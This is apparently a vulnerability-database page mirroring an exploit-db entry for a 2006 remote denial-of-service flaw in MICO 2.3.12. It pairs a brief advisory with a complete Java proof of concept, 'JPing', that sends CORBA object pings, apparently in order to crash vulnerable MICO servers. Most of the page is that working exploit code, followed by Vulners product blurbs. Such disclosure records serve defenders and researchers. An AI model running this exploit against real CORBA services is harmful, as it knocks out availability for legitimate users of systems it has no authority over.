Lucene search
K

MICO Object Key 2.3.12 - Remote Denial of Service

🗓️ 06 Jul 2006 00:00:00Reported by tuergeistType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 16 Views

MICO Object Key 2.3.12 - Remote Denial of Service vulnerabilit

Code
source: https://www.securityfocus.com/bid/18869/info

MICO is susceptible to a remote denial-of-service vulnerability. This issue is due to a failure of the application to properly handle unexpected input.

This issue allows remote attackers to crash affected applications, denying further service to legitimate users.

MICO versions 2.3.12RC3 and 2.3.12 are vulnerable to this issue; other versions may also be affected.

// $Id: JPing.java 8 2006-07-02 09:35:47Z tuergeist $
public class JPing {
	static String[] myArgs;
	
	private static void showHelp() {
		System.err.println("YAOP - Yet another object pinger v0.1\n a JacORB pingo clone");
        System.err.println("Usage: java JPing -p <IOR> [<TypeID>]");
        System.err.println("Options:");
        System.err.println("\t -p <IOR> \n\t\t pings an CORBA object" +
        					"\n\t\tYou can also use corbaloc instead of stringified IORs\n" +
        				   "\t\te.g. corbaloc::127.0.0.1:1234/foobarfoofoo \n" +
        				   "\t\tTypeID is optional e.g. IDL:Hello:1.0\n");
        System.exit( 1 );
	}
	public static String[] getMyArgs() {
		return myArgs;
	}

	public static void setMyArgs(String[] mArgs) {
		myArgs = mArgs;
	}
	public static void main(String[] args) {
		setMyArgs( args );
		
		if( args.length<2 || args.length > 5 )
        {
			showHelp();
        }
		
		if (args[0].equalsIgnoreCase("-p")) {
	        pingObject();
	        return;
	    }	
		showHelp();
	}
	
	static void pingObject () {
		String[] args = getMyArgs();
		String type = new String();
		org.omg.CORBA.ORB orb = org.omg.CORBA.ORB.init(args,null);
		org.omg.CORBA.Object o= null;
        String iorString = null;


        if( args.length < 2 || args.length > 3)
        {
			showHelp();
        }
        iorString = args[1];
        if (args.length==3) {
        	type = new String(args[2]); // TypeID
        }
        
        System.out.print("orb.string_to_object \t\t ... ");
        try {
        	o = orb.string_to_object( iorString );
        }
        catch (Exception e) {
        	System.err.println("Exception caught; " + e.toString());
        	System.exit(1);
        }
        if( o == null )
        {
            System.err.println("Could not convert " + iorString + " to an object");
        }
        else
        {
        	System.out.println("ok");
        	System.out.print("Object exists? " );
        	try
            {
        			boolean exists = !o._non_existent();
                	System.out.println("\t\t\t ... "	+ exists);
                	if(exists && type.length()>8) {
                		System.out.print("Object is_a("+type+")");
                		System.out.println("\t ... " + o._is_a( type ) );
                	}

            }
        	catch (org.omg.CORBA.OBJECT_NOT_EXIST e)
            {
                System.err.println("\t ... no!\n" + e );
            }
            catch (org.omg.CORBA.OBJ_ADAPTER e)
            {
                System.err.println("\nAdapter error!\n\n" + e );
            }
        	catch (Exception e) {
        		System.err.println("Exception caught; " + e.toString());
        	}
            /*
            catch (org.omg.CORBA.SystemException e)
            {
                System.err.println("\nSystem Exception!\n\n" + e );
            }
*/
        }
        return;
	}
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation